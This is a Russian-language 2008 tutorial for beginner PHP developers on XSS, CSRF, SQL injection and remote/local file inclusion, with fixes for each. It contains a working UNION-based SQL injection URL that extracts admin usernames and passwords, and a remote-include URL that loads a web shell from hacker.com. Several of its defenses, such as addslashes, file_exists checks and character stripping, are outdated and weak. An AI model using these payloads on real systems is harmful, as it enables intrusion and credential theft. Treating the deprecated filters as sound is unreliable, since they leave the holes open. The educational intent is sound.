Вместо введения
Статья, в первую очередь, направлена на начинающих PHP-программистов. Также сразу оговорюсь, что тема далеко не нова, но знать все равно надо.
Безопасное PHP-программирование
Итак, разберем типичные атаки и методы противодействия им.
XSS (cross site scripting, межсайтовый скриптинг). Уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от PHP-инклудинга, описанного ниже) произвольный код путём передачи его в качестве значения нефильтруемой переменной.
Условно XSS делятся на активные и пассивные:
Активные XSS: вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта;
Как правило, какое-то поле не фильтровалось, как следовало бы, и теперь, при открытии страницы выполняется вредоносный скрипт.
Чаще встречается в полях профиля пользователя, сообщениях форума, комментариях и т.п.
Пассивные XSS: подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке).
Наиболее часто встречается в полях поиска сайта.
Как правило, XSS используется для хищения cookies пользователя. Что за этим следует, думаю, расписывать не стоит.
Как обезопаситься?
Очень просто: ФИЛЬТРОВАТЬ. В этом помогут следующие функции языка PHP:
strip_tags() — удаляет HTML и PHP тэги из строки;
htmlspecialchars() — преобразует специальные символы в HTML сущности;
htmlentities() — преобразует символы в соответствующие HTML сущности (более гибкий аналог htmlspecialchars());
stripslashes() — удаляет экранирование символов, произведенное функцией addslashes(). Обычно используется в связке с проверочной функцией get_magic_quotes_gpc(), показывающей текущую установку конфигурации magic_quotes_gpc.
Про то, что строго не рекомендуется хранить пароли в cookies, а пользователей запоминать не только по cookies но и по IP я упоминать не буду.
CSRF (XSRF, Cross-Site Request Forgery, межсайтовая подделка запроса). Данный тип атак направлен на имитирование запроса пользователя к стороннему сайту. Уязвимость не столь популярна как XSS, однако, при все большем распространении технологии AJAX, популярность данного типа атак будет расти.
Хотя, уже сейчас CSRF достаточно распространена из-за того, что многие web-приложения не определяют - действительно ли запрос сформирован настоящим пользователем.
Интересный пример CSRF атаки был недавно обнаружен на сайте vkontakte.ru: http://www.habrahabr.ru/blog/webdev/37556.html.Более подробное описание этой атаки вы легко можете найти в сети.
Как обезопаситься?
- Добавление уникального параметра к каждому запросу, который затем проверяется сервером (может добавляться в виде скрытого hidden параметра формы при использовании POST-запроса, либо в URL, при использовании GET-запроса). Значение параметра может быть произвольным, например – значение сессии пользователя.
- Проверка значения заголовка Referer (имеет ряд недостатков, например обработка запросов, не имеющих заголовка Referer как такового. Также, в некоторых ситуациях заголовок Referer может быть подделан).
- Необходимость ввода пользовательского пароля при изменении критичных настроек.
- CAPTCHA, тесты Тьюринга. (http://ru.wikipedia.org/wiki/Тест_Тьюринга)
SQL-injection (SQL-инъекция). Один из самых распространённых и опасных способов взлома сайтов и программ, работающих с базами данных. Основан на внедрении в запрос произвольного SQL-кода.
Принципиально данная атака возможна из-за плохой, а то и никакой, обработки входящих данных, используемых в SQL-запросах.
Например:
В случае, если мы передадим в качестве параметра число 1: _http://site/?id=1, то получим следующий запрос к БД:Код:$res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
Но, если мы немного изменим передаваемый параметр, и представим его уже в таком виде:Код:SELECT `field1`, `field2` FROM `table` WHERE `id` = '1'
_http://site/?id=-1'+UNION+SELECT+username,password+FROM+admin/*
То мы получим следующий запрос:
Последовательность /* комментирует, или другими словами отсекает, оставшийся запрос. С помощью оператора UNION, мы объединяем два запроса:Код:SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1' UNION SELECT username,password FROM admin/*
иКод:SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1'
Первый запрос ничего не вернет, так как в него мы передали заведомо несуществующее значение, а вот второй выведет нам значения username и password из таблицы admin. К чему это может привести также, думаю, объяснять не стоит.Код:SELECT username, password FROM admin
Помимо чтения данных из таблиц используемой БД, можно попытаться прочитать данные системных таблиц MySQL: mysql.users и узнать параметры доступа к БД.
Также можно, с помощью оператора LOAD_FILE(), попытаться загрузить и прочитать файл, хранящийся на сервере (например, /etc/password), что тоже не несет ничего хорошего.
Как обезопаситься:
Все вышеописанное стало возможным из-за того, что мы не проверили первоначальное значение параметров $_GET['id '], передаваемых в запрос.
Следовательно, перед передачей параметров в скрипт нам надо отфильтровать и проверить полученные данные. Целые и дробные величины приводим к нужному типу, для строковых параметров экранируем кавычки.Код:$res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
Функции PHP, используемые для фильтрации данных, аналогичны описанным выше, в пункте про XSS.
$str=addslashes($str);
mysql_escape_string($str)
PHP-including (PHP-injection, внедрение PHP кода). Данный тип атак позволяет выполнять произвольный PHP код на атакуемой системе.
Типичные примеры уязвимого скрипта выглядит следующим образом:
Пример 1.
Пример 2.Код:<? $page = ($_GET['page']); include("/pages/$page"); ?>
Код:<? $page = ($_GET['page']); include("$page"); ?>
Функция include() служит для того, чтобы прикреплять к PHP-коду новые модули на PHP.
Различают два типа PHP-injection:
Локальная PHP-injection (пример 1.): инъекция, при которой определен путь для сценария и не могут инклудиться файлы по http/ftp протоколу
Глобальная PHP-injection (пример 2.): путь не определен и инклуд можно проводить удаленно.
В примере 2. злоумышленнику достаточно создать на своем хосте PHP-файл с веб-шелом и передать в параметре к скрипту адрес данного шела (например, _http://site.ru/index.php?page=http://hacker.com/shell.php).
Как обезопаситься?
Решением проблемы является контроль переменной передаваемой в запросе к скрипту.
Код:switch ($_GET['page']) { case news: include("news.php"); break; case articles: include("articles.php"); break; ... // и т.д. default: include("index.php"); /* если в переменной $_GET['page'] не будет передано значение, которое учтено выше, то открывается главная страница */ break; }
Также можно проверять файл на существование:
Можно отфильтровать переменную на предмет возможности перехода в другие директории.Код:<? .. if (file_exists($_GET['page'])) { Include($_GET['page']); } else { echo "Error!"; } … ?>
Также рекомендуется в конфиге PHP устанавливать register_globals=off и allow_url_fopen=offКод:$page = $_GET['page']; $page = str_replace("/","",$page); $page = str_replace(":","",$page); $page = str_replace(".","",$page);
Заключение
В данной статье описаны наиболее распространенные атаки и методы защиты от них. Надеюсь, что для кого-нибудь моя статья окажется полезной, а те, кто не нашел в ней ничего нового… ну что же, зато Вы освежили в памяти свои знания, что так же полезно! (:
P.S.: конечно же жду дополнений и поправок.
2008 © nons